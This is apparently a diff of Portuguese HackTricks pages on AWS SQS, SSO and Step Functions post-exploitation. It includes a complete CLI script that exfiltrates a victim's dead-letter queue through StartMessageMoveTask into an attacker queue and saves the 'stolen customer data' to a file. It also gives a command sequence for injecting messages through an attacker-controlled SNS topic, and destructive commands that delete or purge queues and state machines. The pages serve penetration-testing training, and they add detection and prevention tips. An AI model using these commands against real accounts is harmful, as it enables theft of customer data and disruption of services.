# Check how many messages are in the DLQ (potential treasure trove!)
|
||||
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Criar fila de destino controlada pelo atacante**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Execute o roubo em massa de mensagens**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
|
||||
TASK_RESPONSE=$(aws sqs start-message-move-task \
|
||||
--source-arn "$SRC_ARN" \
|
||||
--destination-arn "$ATTACKER_Q_ARN" \
|
||||
--max-number-of-messages-per-second 100)
|
||||
|
||||
echo "Move task started: $TASK_RESPONSE"
|
||||
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Recolher os dados sensíveis roubados**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--attribute-names All --message-attribute-names All \
|
||||
--max-number-of-messages 10 --wait-time-seconds 5
|
||||
|
||||
# Example of what an attacker might see:
|
||||
# {
|
||||
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
|
||||
# "MessageId": "12345-abcd-6789-efgh"
|
||||
# }
|
||||
|
||||
# Continue receiving all messages in batches
|
||||
while true; do
|
||||
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
|
||||
|
||||
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
|
||||
echo "No more messages - exfiltration complete!"
|
||||
break
|
||||
fi
|
||||
|
||||
echo "Received batch of stolen data..."
|
||||
# Process/save the stolen customer data
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Notas cross-account
|
||||
- A fila de destino deve ter uma resource policy que permita ao principal da vítima executar `sqs:SendMessage` (e, se usado, concessões/permissões do KMS).
|
||||
|
||||
## Por que este ataque é eficaz
|
||||
|
||||
1. **Funcionalidade legítima da AWS**: Usa funcionalidade nativa da AWS, tornando difícil detectar como malicioso
|
||||
2. **Operação em massa**: Transfere milhares de mensagens rapidamente em vez de acesso individual lento
|
||||
3. **Dados históricos**: DLQs acumulam dados sensíveis ao longo de semanas/meses
|
||||
4. **Fora do radar**: Muitas organizações não monitoram de perto o acesso às DLQs
|
||||
5. **Capaz de cross-account**: Pode exfiltrate para a própria conta AWS do atacante se as permissões permitirem
|
||||
|
||||
## Detecção e Prevenção
|
||||
|
||||
### Detecção
|
||||
Monitore o CloudTrail em busca de chamadas API `StartMessageMoveTask` suspeitas:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
"sourceIPAddress": "suspicious-ip",
|
||||
"userIdentity": {
|
||||
"type": "IAMUser",
|
||||
"userName": "compromised-user"
|
||||
},
|
||||
"requestParameters": {
|
||||
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
|
||||
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
|
||||
}
|
||||
}
|
||||
```
|
||||
### Prevenção
|
||||
1. **Princípio do menor privilégio**: Restringir as permissões `sqs:StartMessageMoveTask` somente às funções necessárias
|
||||
2. **Monitorar DLQs**: Configure alarmes do CloudWatch para atividade incomum nas DLQs
|
||||
3. **Políticas entre contas**: Revise cuidadosamente as políticas de fila do SQS que permitem acesso entre contas
|
||||
4. **Criptografar DLQs**: Use SSE-KMS com políticas de chave restritas
|
||||
5. **Limpeza regular**: Não permita que dados sensíveis se acumulem nas DLQs indefinidamente
|
||||
@@ -1,73 +0,0 @@
|
||||
# AWS - SQS Pós Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sqs:SendMessage`, `sqs:SendMessageBatch`
|
||||
|
||||
Um atacante poderia enviar mensagens maliciosas ou indesejadas para a fila SQS, potencialmente causando corrupção de dados, acionando ações não intencionais ou esgotando recursos.
|
||||
```bash
|
||||
aws sqs send-message --queue-url <value> --message-body <value>
|
||||
aws sqs send-message-batch --queue-url <value> --entries <value>
|
||||
```
|
||||
**Impacto Potencial**: Exploração de vulnerabilidades, corrupção de dados, ações não intencionais ou exaustão de recursos.
|
||||
|
||||
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
|
||||
|
||||
Um atacante poderia receber, deletar ou modificar a visibilidade de mensagens em uma fila SQS, causando perda de mensagens, corrupção de dados ou interrupção de serviço para aplicações que dependem dessas mensagens.
|
||||
```bash
|
||||
aws sqs receive-message --queue-url <value>
|
||||
aws sqs delete-message --queue-url <value> --receipt-handle <value>
|
||||
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
|
||||
```
|
||||
**Impacto Potencial**: Roubo de informações sensíveis, perda de mensagens, corrupção de dados e interrupção de serviços para aplicações que dependem das mensagens afetadas.
|
||||
|
||||
### `sqs:DeleteQueue`
|
||||
|
||||
Um atacante poderia deletar uma fila SQS inteira, causando perda de mensagens e impactando aplicações que dependem da fila.
|
||||
```arduino
|
||||
Copy codeaws sqs delete-queue --queue-url <value>
|
||||
```
|
||||
**Impacto Potencial**: Perda de mensagens e interrupção do serviço para aplicações que utilizam a fila deletada.
|
||||
|
||||
### `sqs:PurgeQueue`
|
||||
|
||||
Um atacante poderia purgar todas as mensagens de uma fila SQS, levando à perda de mensagens e potencial interrupção de aplicações que dependem dessas mensagens.
|
||||
```arduino
|
||||
Copy codeaws sqs purge-queue --queue-url <value>
|
||||
```
|
||||
**Impacto Potencial**: Perda de mensagens e interrupção do serviço para aplicações que dependem das mensagens eliminadas.
|
||||
|
||||
### `sqs:SetQueueAttributes`
|
||||
|
||||
Um atacante poderia modificar os atributos de uma fila SQS, potencialmente afetando seu desempenho, segurança ou disponibilidade.
|
||||
```arduino
|
||||
aws sqs set-queue-attributes --queue-url <value> --attributes <value>
|
||||
```
|
||||
**Impacto Potencial**: Configurações incorretas levando a desempenho degradado, problemas de segurança ou disponibilidade reduzida.
|
||||
|
||||
### `sqs:TagQueue` , `sqs:UntagQueue`
|
||||
|
||||
Um atacante poderia adicionar, modificar ou remover tags de recursos SQS, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags.
|
||||
```bash
|
||||
aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
|
||||
aws sqs untag-queue --queue-url <value> --tag-keys <key>
|
||||
```
|
||||
**Impacto Potencial**: Interrupção da alocação de custos, rastreamento de recursos e políticas de controle de acesso baseadas em tags.
|
||||
|
||||
### `sqs:RemovePermission`
|
||||
|
||||
Um atacante poderia revogar permissões para usuários ou serviços legítimos removendo políticas associadas à fila SQS. Isso poderia levar a interrupções no funcionamento normal de aplicações que dependem da fila.
|
||||
```arduino
|
||||
arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
|
||||
```
|
||||
**Impacto Potencial**: Interrupção do funcionamento normal de aplicações que dependem da fila devido à remoção não autorizada de permissões.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,83 @@
|
||||
# AWS - SQS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sqs:SendMessage` , `sqs:SendMessageBatch`
|
||||
|
||||
Um atacante pode enviar mensagens maliciosas ou indesejadas para a fila SQS, possivelmente causando corrupção de dados, acionando ações não intencionais ou esgotando recursos.
|
||||
```bash
|
||||
aws sqs send-message --queue-url <value> --message-body <value>
|
||||
aws sqs send-message-batch --queue-url <value> --entries <value>
|
||||
```
|
||||
**Impacto Potencial**: Exploração de vulnerabilidades, corrupção de dados, ações não intencionais ou exaustão de recursos.
|
||||
|
||||
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
|
||||
|
||||
Um atacante poderia receber, excluir ou modificar a visibilidade de mensagens em uma fila SQS, causando perda de mensagens, corrupção de dados ou interrupção do serviço para aplicações que dependem dessas mensagens.
|
||||
```bash
|
||||
aws sqs receive-message --queue-url <value>
|
||||
aws sqs delete-message --queue-url <value> --receipt-handle <value>
|
||||
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
|
||||
```
|
||||
**Impacto potencial**: Roubo de informações sensíveis, perda de mensagens, corrupção de dados e interrupção de serviço para aplicações que dependem das mensagens afetadas.
|
||||
|
||||
### `sqs:DeleteQueue`
|
||||
|
||||
Um atacante poderia excluir uma fila SQS inteira, causando perda de mensagens e impactando aplicações que dependem da fila.
|
||||
```bash
|
||||
aws sqs delete-queue --queue-url <value>
|
||||
```
|
||||
**Impacto Potencial**: Perda de mensagens e interrupção de serviço para aplicações que usam a fila SQS excluída.
|
||||
|
||||
### `sqs:PurgeQueue`
|
||||
|
||||
Um atacante poderia esvaziar todas as mensagens de uma fila SQS, levando à perda de mensagens e à possível interrupção das aplicações que dependem dessas mensagens.
|
||||
```bash
|
||||
aws sqs purge-queue --queue-url <value>
|
||||
```
|
||||
**Impacto Potencial**: Perda de mensagens e interrupção do serviço para aplicações que dependem das mensagens purgadas.
|
||||
|
||||
### `sqs:SetQueueAttributes`
|
||||
|
||||
Um atacante poderia modificar os atributos de uma fila SQS, potencialmente afetando seu desempenho, segurança ou disponibilidade.
|
||||
```bash
|
||||
aws sqs set-queue-attributes --queue-url <value> --attributes <value>
|
||||
```
|
||||
**Impacto Potencial**: Misconfigurações que podem levar a desempenho degradado, problemas de segurança ou disponibilidade reduzida.
|
||||
|
||||
### `sqs:TagQueue` , `sqs:UntagQueue`
|
||||
|
||||
Um atacante poderia adicionar, modificar ou remover etiquetas de recursos SQS, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em etiquetas.
|
||||
```bash
|
||||
aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
|
||||
aws sqs untag-queue --queue-url <value> --tag-keys <key>
|
||||
```
|
||||
**Impacto Potencial**: Interrupção na alocação de custos, rastreamento de recursos e políticas de controle de acesso baseadas em tags.
|
||||
|
||||
### `sqs:RemovePermission`
|
||||
|
||||
Um atacante poderia revogar permissões de usuários ou serviços legítimos ao remover políticas associadas à fila SQS. Isso poderia levar a interrupções no funcionamento normal das aplicações que dependem da fila.
|
||||
```bash
|
||||
aws sqs remove-permission --queue-url <value> --label <value>
|
||||
```
|
||||
**Impacto Potencial**: Interrupção do funcionamento normal de aplicações que dependem da fila devido à remoção não autorizada de permissões.
|
||||
|
||||
### Mais SQS Post-Exploitation Techniques
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-dlq-redrive-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-sns-injection.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,154 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Descrição
|
||||
|
||||
Abuse tarefas de movimentação de mensagens do SQS para roubar todas as mensagens acumuladas na Dead-Letter Queue (DLQ) de uma vítima, redirecionando-as para uma fila controlada pelo atacante usando `sqs:StartMessageMoveTask`. Esta técnica explora o recurso legítimo de recuperação de mensagens da AWS para exfiltrar dados sensíveis que se acumularam em DLQs ao longo do tempo.
|
||||
|
||||
## O que é uma Dead-Letter Queue (DLQ)?
|
||||
|
||||
Uma Dead-Letter Queue é uma fila SQS especial onde mensagens são enviadas automaticamente quando falham ao serem processadas com sucesso pela aplicação principal. Essas mensagens falhadas frequentemente contêm:
|
||||
- Dados sensíveis da aplicação que não puderam ser processados
|
||||
- Detalhes de erro e informações de depuração
|
||||
- Informações Pessoais Identificáveis (PII)
|
||||
- Tokens de API, credenciais ou outros segredos
|
||||
- Dados de transações críticos para o negócio
|
||||
|
||||
DLQs atuam como um "cemitério" para mensagens falhadas, tornando-as alvos valiosos pois acumulam dados sensíveis ao longo do tempo que as aplicações não conseguiram processar corretamente.
|
||||
|
||||
## Cenário de Ataque
|
||||
|
||||
**Exemplo do mundo real:**
|
||||
1. **Aplicação de e-commerce** processa pedidos de clientes através do SQS
|
||||
2. **Alguns pedidos falham** (problemas de pagamento, estoque, etc.) e são movidos para uma DLQ
|
||||
3. **DLQ acumula** semanas/meses de pedidos falhados contendo dados de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Atacante obtém acesso** às credenciais AWS com permissões SQS
|
||||
5. **Atacante descobre** que a DLQ contém milhares de pedidos falhados com dados sensíveis
|
||||
6. **Ao invés de tentar acessar mensagens individuais** (lento e óbvio), o atacante usa `StartMessageMoveTask` para transferir em massa TODAS as mensagens para sua própria fila
|
||||
7. **Atacante extrai** todos os dados sensíveis históricos em uma única operação
|
||||
|
||||
## Requisitos
|
||||
- A fila de origem deve estar configurada como DLQ (referenciada por pelo menos uma RedrivePolicy de fila).
|
||||
- Permissões IAM (executadas como o principal da vítima comprometida):
|
||||
- Na DLQ (origem): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Na fila de destino: permissão para entregar mensagens (por exemplo, policy da fila permitindo `sqs:SendMessage` do principal vítima). Para destinos na mesma conta isso normalmente é permitido por padrão.
|
||||
- Se SSE-KMS estiver habilitado: na CMK de origem `kms:Decrypt`, e na CMK de destino `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impacto
|
||||
**Impacto Potencial**: Exfiltrar cargas úteis sensíveis acumuladas em DLQs (eventos falhados, PII, tokens, payloads da aplicação) em alta velocidade usando as APIs nativas do SQS. Funciona cross-account se a policy da fila de destino permitir `SendMessage` do principal vítima.
|
||||
|
||||
## Como Abusar
|
||||
|
||||
- Identifique o ARN da DLQ da vítima e assegure-se de que ele está realmente referenciado como DLQ por alguma fila (qualquer fila serve).
|
||||
- Crie ou escolha uma fila de destino controlada pelo atacante e obtenha seu ARN.
|
||||
- Inicie uma tarefa de movimentação de mensagens da DLQ da vítima para sua fila de destino.
|
||||
- Monitore o progresso ou cancele se necessário.
|
||||
|
||||
### Exemplo CLI: Exfiltrando Dados de Clientes da DLQ de E-commerce
|
||||
|
||||
**Cenário**: Um atacante comprometeu credenciais AWS e descobriu que uma aplicação de e-commerce usa SQS com uma DLQ contendo tentativas de processamento de pedidos de clientes que falharam.
|
||||
|
||||
1) **Descobrir e examinar a DLQ da vítima**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
|
||||
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
|
||||
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
|
||||
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# Check how many messages are in the DLQ (potential treasure trove!)
|
||||
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Criar fila de destino controlada pelo atacante**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Execute o roubo em massa de mensagens**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
|
||||
TASK_RESPONSE=$(aws sqs start-message-move-task \
|
||||
--source-arn "$SRC_ARN" \
|
||||
--destination-arn "$ATTACKER_Q_ARN" \
|
||||
--max-number-of-messages-per-second 100)
|
||||
|
||||
echo "Move task started: $TASK_RESPONSE"
|
||||
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Coletar os dados sensíveis roubados**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--attribute-names All --message-attribute-names All \
|
||||
--max-number-of-messages 10 --wait-time-seconds 5
|
||||
|
||||
# Example of what an attacker might see:
|
||||
# {
|
||||
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
|
||||
# "MessageId": "12345-abcd-6789-efgh"
|
||||
# }
|
||||
|
||||
# Continue receiving all messages in batches
|
||||
while true; do
|
||||
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
|
||||
|
||||
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
|
||||
echo "No more messages - exfiltration complete!"
|
||||
break
|
||||
fi
|
||||
|
||||
echo "Received batch of stolen data..."
|
||||
# Process/save the stolen customer data
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Notas entre contas
|
||||
- A fila de destino deve ter uma resource policy permitindo ao principal da vítima `sqs:SendMessage` (e, se usado, concessões/permissões do KMS).
|
||||
|
||||
## Por que este ataque é eficaz
|
||||
|
||||
1. **Funcionalidade legítima da AWS**: Usa funcionalidades nativas da AWS, tornando difícil detectar como malicioso
|
||||
2. **Operação em massa**: Transfere milhares de mensagens rapidamente em vez de acesso individual lento
|
||||
3. **Dados históricos**: DLQs acumulam dados sensíveis ao longo de semanas/meses
|
||||
4. **Fora do radar**: Muitas organizações não monitoram o acesso aos DLQs de perto
|
||||
5. **Capaz entre contas**: Pode exfiltrar para a própria conta AWS do atacante se as permissões permitirem
|
||||
|
||||
## Detecção e Prevenção
|
||||
|
||||
### Detecção
|
||||
Monitore o CloudTrail para chamadas de API `StartMessageMoveTask` suspeitas:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
"sourceIPAddress": "suspicious-ip",
|
||||
"userIdentity": {
|
||||
"type": "IAMUser",
|
||||
"userName": "compromised-user"
|
||||
},
|
||||
"requestParameters": {
|
||||
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
|
||||
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
|
||||
}
|
||||
}
|
||||
```
|
||||
### Prevenção
|
||||
1. **Princípio do menor privilégio**: Restringir as permissões `sqs:StartMessageMoveTask` apenas às funções necessárias
|
||||
2. **Monitorar DLQs**: Configure alarmes do CloudWatch para atividade incomum nas DLQs
|
||||
3. **Políticas entre contas**: Revise cuidadosamente as políticas de fila SQS que permitem acesso entre contas
|
||||
4. **Criptografar DLQs**: Use SSE-KMS com políticas de chave restritas
|
||||
5. **Limpeza regular**: Não deixe dados sensíveis acumularem nas DLQs indefinidamente
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,54 @@
|
||||
# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Descrição
|
||||
|
||||
Abuse uma policy de recurso da fila SQS para permitir que um SNS topic controlado pelo atacante publique mensagens em uma fila SQS da vítima. Na mesma conta, uma subscription SQS para um SNS topic é auto-confirmada; em cross-account, você deve ler o token SubscriptionConfirmation da fila e chamar ConfirmSubscription. Isso possibilita injeção de mensagens não solicitadas que consumidores downstream podem implicitamente confiar.
|
||||
|
||||
### Requisitos
|
||||
- Capacidade de modificar a policy de recurso da fila SQS alvo: `sqs:SetQueueAttributes` na fila da vítima.
|
||||
- Capacidade de criar/publicar em um SNS topic sob controle do atacante: `sns:CreateTopic`, `sns:Publish`, and `sns:Subscribe` na conta/topic do atacante.
|
||||
- Apenas cross-account: `sqs:ReceiveMessage` temporário na fila da vítima para ler o token de confirmação e chamar `sns:ConfirmSubscription`.
|
||||
|
||||
### Exploração na mesma conta
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# 1) Create victim queue and capture URL/ARN
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# 2) Create attacker SNS topic
|
||||
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
|
||||
|
||||
# 3) Allow that SNS topic to publish to the queue (queue resource policy)
|
||||
cat > /tmp/ht-sqs-sns-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
|
||||
JSON
|
||||
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
|
||||
# Provide the attribute as a JSON map so quoting works reliably
|
||||
cat > /tmp/ht-attrs.json <<JSON
|
||||
{
|
||||
"Policy": "REPLACE_POLICY_JSON"
|
||||
}
|
||||
JSON
|
||||
# Embed the policy file contents as a JSON string
|
||||
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
|
||||
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
|
||||
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
|
||||
|
||||
# 4) Subscribe the queue to the topic (auto-confirms same-account)
|
||||
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
|
||||
|
||||
# 5) Publish and verify injection
|
||||
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
### Notas entre contas
|
||||
- A política da fila acima deve permitir o `TOPIC_ARN` estrangeiro (conta do atacante).
|
||||
- As assinaturas não serão confirmadas automaticamente. Conceda a si mesmo temporariamente `sqs:ReceiveMessage` na fila da vítima para ler a mensagem `SubscriptionConfirmation` e então chame `sns confirm-subscription` com seu `Token`.
|
||||
|
||||
### Impacto
|
||||
**Impacto Potencial**: Injeção contínua de mensagens não solicitadas em uma fila SQS confiável via SNS, potencialmente acionando processamento não intencional, poluição de dados ou abuso de fluxo de trabalho.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - SSO e identitystore Pós Exploração
|
||||
# AWS - SSO & identitystore Pós-exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSO e identitystore
|
||||
## SSO & identitystore
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
|
||||
@@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
|
||||
|
||||
aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,184 +0,0 @@
|
||||
# AWS - Step Functions Pós Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
Para mais informações sobre este serviço AWS, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
Esta permissão permite **revelar dados secretos dentro de uma execução**. Para isso, é necessário definir o nível de Inspeção como TRACE e o parâmetro revealSecrets como true.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
Um atacante com essas permissões seria capaz de excluir permanentemente máquinas de estado, suas versões e aliases. Isso pode interromper fluxos de trabalho críticos, resultar em perda de dados e exigir um tempo significativo para recuperar e restaurar as máquinas de estado afetadas. Além disso, permitiria que um atacante cobrisse os rastros utilizados, interrompesse investigações forenses e potencialmente paralisasse operações ao remover processos de automação essenciais e configurações de estado.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - Ao excluir uma máquina de estado, você também exclui todas as suas versões e aliases associados.
|
||||
> - Ao excluir um alias de máquina de estado, você não exclui as versões da máquina de estado que referenciam esse alias.
|
||||
> - Não é possível excluir uma versão de máquina de estado atualmente referenciada por um ou mais aliases.
|
||||
```bash
|
||||
# Delete state machine
|
||||
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
||||
# Delete state machine version
|
||||
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
- **Impacto Potencial**: Interrupção de fluxos de trabalho críticos, perda de dados e tempo de inatividade operacional.
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
Um atacante com essa permissão seria capaz de manipular a configuração de falha do Map Run e a configuração paralela, podendo aumentar ou diminuir o número máximo de execuções de fluxos de trabalho filhos permitidos, afetando diretamente o desempenho do serviço. Além disso, um atacante poderia adulterar a porcentagem e a contagem de falhas toleradas, podendo diminuir esse valor para 0, de modo que toda vez que um item falhar, todo o map run falharia, afetando diretamente a execução da máquina de estados e potencialmente interrompendo fluxos de trabalho críticos.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
- **Impacto Potencial**: Degradação de desempenho e interrupção de fluxos de trabalho críticos.
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
Um atacante com esta permissão poderia ser capaz de parar a execução de qualquer máquina de estado, interrompendo fluxos de trabalho e processos em andamento. Isso poderia levar a transações incompletas, operações comerciais paralisadas e potencial corrupção de dados.
|
||||
|
||||
> [!WARNING]
|
||||
> Esta ação não é suportada por **máquinas de estado expressas**.
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
- **Impacto Potencial**: Interrupção de fluxos de trabalho em andamento, tempo de inatividade operacional e potencial corrupção de dados.
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
Um atacante poderia adicionar, modificar ou remover tags de recursos do Step Functions, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags.
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Impacto Potencial**: Interrupção da alocação de custos, rastreamento de recursos e políticas de controle de acesso baseadas em tags.
|
||||
|
||||
---
|
||||
|
||||
